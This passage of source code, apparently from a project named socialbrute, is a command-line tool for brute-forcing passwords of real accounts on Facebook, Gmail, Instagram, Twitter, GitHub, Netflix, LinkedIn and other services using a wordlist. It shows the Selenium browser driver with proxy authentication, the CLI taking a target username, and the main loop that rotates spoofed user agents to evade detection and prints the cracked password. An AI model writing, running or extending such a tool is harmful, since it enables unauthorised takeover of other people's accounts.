107 | # -- Options for LaTeX output ------------------------------------------ 108 | 109 | latex_elements = { 110 | # The paper size ('letterpaper' or 'a4paper'). 111 | # 112 | # 'papersize': 'letterpaper', 113 | 114 | # The font size ('10pt', '11pt' or '12pt'). 115 | # 116 | # 'pointsize': '10pt', 117 | 118 | # Additional stuff for the LaTeX preamble. 119 | # 120 | # 'preamble': '', 121 | 122 | # Latex figure (float) alignment 123 | # 124 | # 'figure_align': 'htbp', 125 | } 126 | 127 | # Grouping the document tree into LaTeX files. List of tuples 128 | # (source start file, target name, title, author, documentclass 129 | # [howto, manual, or own class]). 130 | latex_documents = [ 131 | (master_doc, 'socialbrute.tex', 132 | u'socialbrute Documentation', 133 | u'5h4d0wb0y', 'manual'), 134 | ] 135 | 136 | 137 | # -- Options for manual page output ------------------------------------ 138 | 139 | # One entry per manual page. List of tuples 140 | # (source start file, name, description, authors, manual section). 141 | man_pages = [ 142 | (master_doc, 'socialbrute', 143 | u'socialbrute Documentation', 144 | [author], 1) 145 | ] 146 | 147 | 148 | # -- Options for Texinfo output ---------------------------------------- 149 | 150 | # Grouping the document tree into Texinfo files. List of tuples 151 | # (source start file, target name, title, author, 152 | # dir menu entry, description, category) 153 | texinfo_documents = [ 154 | (master_doc, 'socialbrute', 155 | u'socialbrute Documentation', 156 | author, 157 | 'socialbrute', 158 | 'SocialBrute attempts to crack social networks using a brute force dictionary attack.', 159 | 'Miscellaneous'), 160 | ] 161 | 162 | 163 | 164 | -------------------------------------------------------------------------------- /socialbrute/browser.py: -------------------------------------------------------------------------------- 1 | import zipfile 2 | import json 3 | from selenium.webdriver import Chrome 4 | from selenium.webdriver.chrome.options import Options 5 | from selenium.webdriver.support.ui import WebDriverWait, Select 6 | from selenium.webdriver.support import expected_conditions as EC 7 | from selenium.webdriver.common.by import By 8 | 9 | timeout = 5 10 | 11 | 12 | class Browser: 13 | 14 | def __init__(self): 15 | pass 16 | 17 | def start(self, headless=False, proxy=None, user_agent=None): 18 | global driver 19 | chrome_options = Options() 20 | 21 | chrome_options.add_argument("--no-sandbox") 22 | chrome_options.add_argument("--disable-setuid-sandbox") 23 | chrome_options.add_argument("--disable-dev-shm-using") 24 | chrome_options.add_argument("--disable-extensions") 25 | chrome_options.add_argument("--disable-gpu") 26 | chrome_options.add_argument("--lang=en") 27 | # if os.environ.get('ARE_ON_TRAVIS') == 'True': 28 | # chrome_options.add_argument("--no-sandbox") 29 | # chrome_options.add_argument("--disable-gpu") 30 | if headless: 31 | chrome_options.add_argument("--headless") 32 | if proxy: 33 | proxy = json.loads(proxy) 34 | manifest_json = """ 35 | { 36 | "version": "1.0.0", 37 | "manifest_version": 2, 38 | "name": "Chrome Proxy", 39 | "permissions": [ 40 | "proxy", 41 | "tabs", 42 | "unlimitedStorage", 43 | "storage", 44 | "", 45 | "webRequest", 46 | "webRequestBlocking" 47 | ], 48 | "background": { 49 | "scripts": ["background.js"] 50 | }, 51 | "minimum_chrome_version":"22.0.0" 52 | } 53 | """ 54 | 55 | background_js = """ 56 | var config = { 57 | mode: "fixed_servers", 58 | rules: { 59 | singleProxy: { 60 | scheme: "http", 61 | host: "%s", 62 | port: parseInt(%s) 63 | }, 64 | bypassList: ["localhost"] 65 | } 66 | }; 67 | 68 | chrome.proxy.settings.set({value: config, scope: "regular"}, function() {}); 69 | 70 | function callbackFn(details) { 71 | return { 72 | authCredentials: { 73 | username: "%s", 74 | password: "%s" 75 | } 76 | }; 77 | } 78 | 79 | chrome.webRequest.onAuthRequired.addListener( 80 | callbackFn, 81 | {urls: [""]}, 82 | ['blocking'] 83 | ); 84 | """ % (proxy['host'], proxy['port'], proxy['user'], proxy['pass']) 85 | pluginfile = 'proxy_auth_plugin.zip' 86 | with zipfile.ZipFile(pluginfile, 'w') as zp: 87 | zp.writestr("manifest.json", manifest_json) 88 | zp.writestr("background.js", background_js) 89 | chrome_options.add_extension(pluginfile) 90 | chrome_options.add_argument('--proxy-server=%s' % proxy) 91 | # chrome_options.add_argument('--proxy-server=%s' % hostname + ":" + port) 92 | if user_agent: 93 | chrome_options.add_argument('--user-agent=%s' % user_agent) 94 | self.driver = Chrome(options=chrome_options) 95 | 96 | def stop(self): 97 | self.driver.quit() 98 | 99 | def get_driver(self): 100 | return self.driver 101 | 102 | def wait_page_loaded(self): 103 | def condition(browser): return self.driver.execute_script( 104 | "return document.readyState" 105 | ) in ["complete" or "loaded"] 106 | try: 107 | wait = WebDriverWait(self.driver, timeout) 108 | result = wait.until(condition) 109 | except TimeoutException: 110 | return False 111 | return result 112 | 113 | def wait_until_element_exists(self, by, value): 114 | if by == 'xpath': 115 | elem = WebDriverWait( 116 | self.driver, timeout).until( 117 | EC.presence_of_element_located( 118 | (By.XPATH, value))) 119 | elif by == 'id': 120 | elem = WebDriverWait( 121 | self.driver, timeout).until( 122 | EC.presence_of_element_located( 123 | (By.ID, value))) 124 | elif by == 'name': 125 | elem = WebDriverWait( 126 | self.driver, timeout).until( 127 | EC.presence_of_element_located( 128 | (By.NAME, value))) 129 | elif by == 'css': 130 | elem = WebDriverWait( 131 | self.driver, timeout).until( 132 | EC.presence_of_element_located( 133 | (By.CSS_SELECTOR, value))) 134 | return elem 135 | 136 | def select_dropdown_by(self, by, value): 137 | if by == 'xpath': 138 | elem = Select(self.driver.find_element_by_xpath(value)) 139 | elif by == 'id': 140 | elem = Select(self.driver.find_element_by_id(value)) 141 | elif by == 'name': 142 | elem = Select(self.driver.find_element_by_name(value)) 143 | elif by == 'css': 144 | elem = Select(self.driver.find_element_by_css_selector(value)) 145 | return elem 146 | -------------------------------------------------------------------------------- /socialbrute/cli.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """Console script for socialbrute.""" 4 | import os 5 | import sys 6 | import click 7 | from terminaltables import SingleTable # AsciiTable 8 | 9 | from socialbrute.socialbrute import * 10 | from socialbrute.helpers import Colors 11 | from socialbrute import __author__, __version__ 12 | 13 | SOCIALS = [ 14 | "aol", 15 | "facebook", 16 | "gmail", 17 | "hotmail", 18 | "instagram", 19 | "twitter", 20 | "vk", 21 | "yahoo", 22 | "spotify", 23 | "netflix", 24 | "gitlab", 25 | "github", 26 | "linkedin" 27 | ] 28 | 29 | 30 | def show_banner(): 31 | click.echo(Colors.GREEN) 32 | click.echo( 33 | r" $$$$$$\ $$\ $$\ $$$$$$$\ $$\ ") 34 | click.echo( 35 | r"$$ __$$\ \__| $$ |$$ __$$\ $$ | ") 36 | click.echo( 37 | r"$$ / \__| $$$$$$\ $$$$$$$\ $$\ $$$$$$\ $$ |$$ | $$ | $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ ") 38 | click.echo( 39 | r"\$$$$$$\ $$ __$$\ $$ _____|$$ | \____$$\ $$ |$$$$$$$\ |$$ __$$\ $$ | $$ |\_$$ _| $$ __$$\ ") 40 | click.echo( 41 | r" \____$$\ $$ / $$ |$$ / $$ | $$$$$$$ |$$ |$$ __$$\ $$ | \__|$$ | $$ | $$ | $$$$$$$$ |") 42 | click.echo( 43 | r"$$\ $$ |$$ | $$ |$$ | $$ |$$ __$$ |$$ |$$ | $$ |$$ | $$ | $$ | $$ |$$\ $$ ____|") 44 | click.echo( 45 | r"\$$$$$$ |\$$$$$$ |\$$$$$$$\ $$ |\$$$$$$$ |$$ |$$$$$$$ |$$ | \$$$$$$ | \$$$$ |\$$$$$$$\ ") 46 | click.echo(r" \______/ \______/ \_______|\__| \_______|\__|\_______/ \__| \______/ \____/ \_______|" + (Colors.ENDC)) 47 | click.echo("\n --[ Version: " + 48 | (Colors.YELLOW) + 49 | (Colors.BOLD) + 50 | (__version__) + 51 | (Colors.ENDC) + 52 | " ]--") 53 | click.echo(" --[ Author: " + 54 | (Colors.CYAN) + 55 | (Colors.BOLD) + 56 | (__author__) + 57 | (Colors.ENDC) + 58 | " ]--\n\n") 59 | 60 | 61 | def prompt_proxy(ctx, param, use_proxy): 62 | if use_proxy: 63 | host = ctx.params.get('proxy_host') 64 | if not host: 65 | host = click.prompt('Proxy host', default='localhost') 66 | 67 | port = ctx.params.get('proxy_port') 68 | if not port: 69 | port = click.prompt('Proxy port', default=9050) 70 | 71 | user = ctx.params.get('proxy_user') 72 | if not user: 73 | user = click.prompt('Proxy user', default=None) 74 | 75 | pwd = ctx.params.get('proxy_pass') 76 | if not pwd: 77 | pwd = click.prompt('Proxy user\'s password', default=None) 78 | return (host, port, user, pwd) 79 | 80 | 81 | @click.command() 82 | @click.option( 83 | '--use-proxy/--no-proxy', 84 | is_flag=True, 85 | default=False, 86 | help='Set a proxy to use', 87 | callback=prompt_proxy) 88 | @click.option('--proxy-host', is_eager=True, help='Set the proxy host') 89 | @click.option( 90 | '--proxy-port', 91 | is_eager=True, 92 | type=int, 93 | help='Specify the proxy port') 94 | @click.option('--proxy-user', is_eager=True, help='Set the proxy user') 95 | @click.option( 96 | '--proxy-pass', 97 | is_eager=True, 98 | help='Set the proxy user\'s password') 99 | @click.option('-u', '--username', help='Set the username') 100 | @click.option( 101 | '-s', 102 | '--social', 103 | type=click.Choice(SOCIALS), 104 | help='Set the social network') 105 | @click.option( 106 | '-w', 107 | '--wordlist', 108 | type=click.Path(), 109 | help='Set the wordlist path') 110 | @click.option( 111 | '-d', 112 | '--delay', 113 | type=int, 114 | default=1, 115 | help='Provide the number of seconds the program delays as each password is tried') 116 | @click.option('--interactive/--no-interactive', is_flag=True, 117 | default=False, help='Set the browser emulation interactive') 118 | def main(use_proxy, proxy_host, proxy_port, proxy_user, proxy_pass, 119 | username, social, wordlist, delay, interactive): 120 | """Console script for socialbrute.""" 121 | if not username: 122 | print_error("Missing '-u' or '--username' argument!") 123 | sys.exit(-1) 124 | 125 | if not social: 126 | print_error("Missing '-s' or '--social' argument!") 127 | sys.exit(-1) 128 | 129 | if social not in SOCIALS: 130 | data = [] 131 | for x in SOCIALS: 132 | data.append("%s%s%s" % (Colors.PURPLE, x, Colors.ENDC)) 133 | t = SingleTable( 134 | [data], "%s%s Available Social Networks %s" % 135 | (Colors.YELLOW, Colors.BOLD, Colors.ENDC)) 136 | print(t.table) 137 | print("\n") 138 | print_error("Wrong '-s' or '--social' argument!") 139 | return 0 140 | 141 | if not wordlist: 142 | print_error("Missing '-w' or '--wordlist' argument!") 143 | return 0 144 | 145 | if not os.path.isfile(wordlist): 146 | print_error('The wordlist does not exist.') 147 | return 0 148 | 149 | interact = not interactive 150 | 151 | if use_proxy: 152 | proxy = { 153 | 'host': proxy_host, 154 | 'port': proxy_port, 155 | 'user': proxy_user, 156 | 'pass': proxy_pass, 157 | } 158 | sb = Socialbrute(interactive=interact, proxy=proxy) 159 | else: 160 | sb = Socialbrute(interactive=interact) 161 | 162 | sb.run(social, username, wordlist, delay) 163 | 164 | sb.stop() 165 | 166 | return 0 167 | 168 | 169 | if __name__ == "__main__": 170 | show_banner() 171 | sys.exit(main()) # pragma: no cover 172 | -------------------------------------------------------------------------------- /socialbrute/socialbrute.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import random 4 | import click 5 | from yaspin import yaspin 6 | 7 | from .modules.facebook import Facebook 8 | from .modules.gmail import Gmail 9 | from .modules.hotmail import Hotmail 10 | from .modules.instagram import Instagram 11 | from .modules.twitter import Twitter 12 | from .modules.vk import Vk 13 | from .modules.yahoo import Yahoo 14 | from .modules.aol import Aol 15 | from .modules.spotify import Spotify 16 | from .modules.netflix import Netflix 17 | from .modules.gitlab import Gitlab 18 | from .modules.github import Github 19 | from .modules.linkedin import Linkedin 20 | from .helpers import * 21 | from .browser import * 22 | 23 | """Main module.""" 24 | 25 | USER_AGENTS = [ 26 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", 27 | "Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36", 28 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9", 29 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36", 30 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1", 31 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1", 32 | "Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0", 33 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre", 34 | "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)", 35 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)", 36 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205", 37 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)", 38 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2", 39 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2", 40 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1", 41 | ] 42 | 43 | 44 | class Socialbrute(object): 45 | 46 | def __init__(self, interactive=True, proxy=None): 47 | self.browser = Browser() 48 | ua = random.choice(USER_AGENTS) 49 | if proxy: 50 | self.browser.start( 51 | headless=interactive, 52 | proxy=proxy, 53 | user_agent=ua) 54 | else: 55 | self.browser.start(headless=interactive, user_agent=ua) 56 | 57 | def stop(self): 58 | self.browser.stop() 59 | 60 | def run(self, social, username, wordlist, delay, proxy=None): 61 | total = len(open(wordlist, 'r').read().split('\n')) 62 | 63 | click.echo(' Social Network: ' + (Colors.YELLOW) + 64 | social.capitalize() + (Colors.ENDC)) 65 | click.echo(' Wordlist: ' + 66 | (Colors.YELLOW) + wordlist + (Colors.ENDC)) 67 | click.echo(' Total Words: ' + (Colors.YELLOW) + 68 | str(total) + (Colors.ENDC)) 69 | click.echo(' Delay: ' + (Colors.YELLOW) + 70 | str(delay) + (Colors.ENDC)) 71 | 72 | # to resolve the UnboundLocalError: local variable 'a' referenced 73 | # before assignment 74 | a = None 75 | 76 | if social == 'facebook': 77 | a = Facebook(self.browser) 78 | elif social == 'instagram': 79 | a = Instagram(self.browser) 80 | elif social == 'twitter': 81 | a = Twitter(self.browser) 82 | elif social == 'gmail': 83 | a = Gmail(self.browser) 84 | elif social == 'hotmail': 85 | a = Hotmail(self.browser) 86 | elif social == 'yahoo': 87 | a = Yahoo(self.browser) 88 | elif social == 'vk': 89 | a = Vk(self.browser) 90 | elif social == 'aol': 91 | a = Aol(self.browser) 92 | elif social == 'spotify': 93 | a = Spotify(self.browser) 94 | elif social == 'netflix': 95 | a = Netflix(self.browser) 96 | elif social == 'gitlab': 97 | a = Gitlab(self.browser) 98 | elif social == 'github': 99 | a = Github(self.browser) 100 | elif social == 'linkedin': 101 | a = Linkedin(self.browser) 102 | else: 103 | print_error("Social network not supported!") 104 | return 105 | 106 | a.set_config(username, wordlist, delay) 107 | user_exists = a.check_user() 108 | 109 | click.echo(' Username: ' + 110 | (Colors.YELLOW) + username + (Colors.ENDC)) 111 | click.echo(' Extracted Name: ' + 112 | (Colors.YELLOW) + a.name + (Colors.ENDC)) 113 | click.echo('') 114 | 115 | if not user_exists: 116 | print_error( 117 | "It was not possible to retrieve the name from %s." % 118 | (social.capitalize())) 119 | click.confirm('Do you want to continue?', abort=True) 120 | 121 | with yaspin(text="Brute forcing... Please wait...", color="cyan") as sp: 122 | password = a.crack() 123 | if password: 124 | sp.ok("✔") 125 | print_success("Account cracked!") 126 | click.echo("Username: " + 127 | (Colors.GREEN) + 128 | (Colors.BOLD) + 129 | "%s" % 130 | username + 131 | (Colors.ENDC)) 132 | click.echo("Password: " + 133 | (Colors.GREEN) + 134 | (Colors.BOLD) + 135 | "%s" % 136 | password + 137 | (Colors.ENDC)) 138 | else: 139 | sp.fail("✗") 140 | print_error( 141 | "Account not cracked! Try to crack it with another wordlist.") 142 | return 143 | --------------------------------------------------------------------------------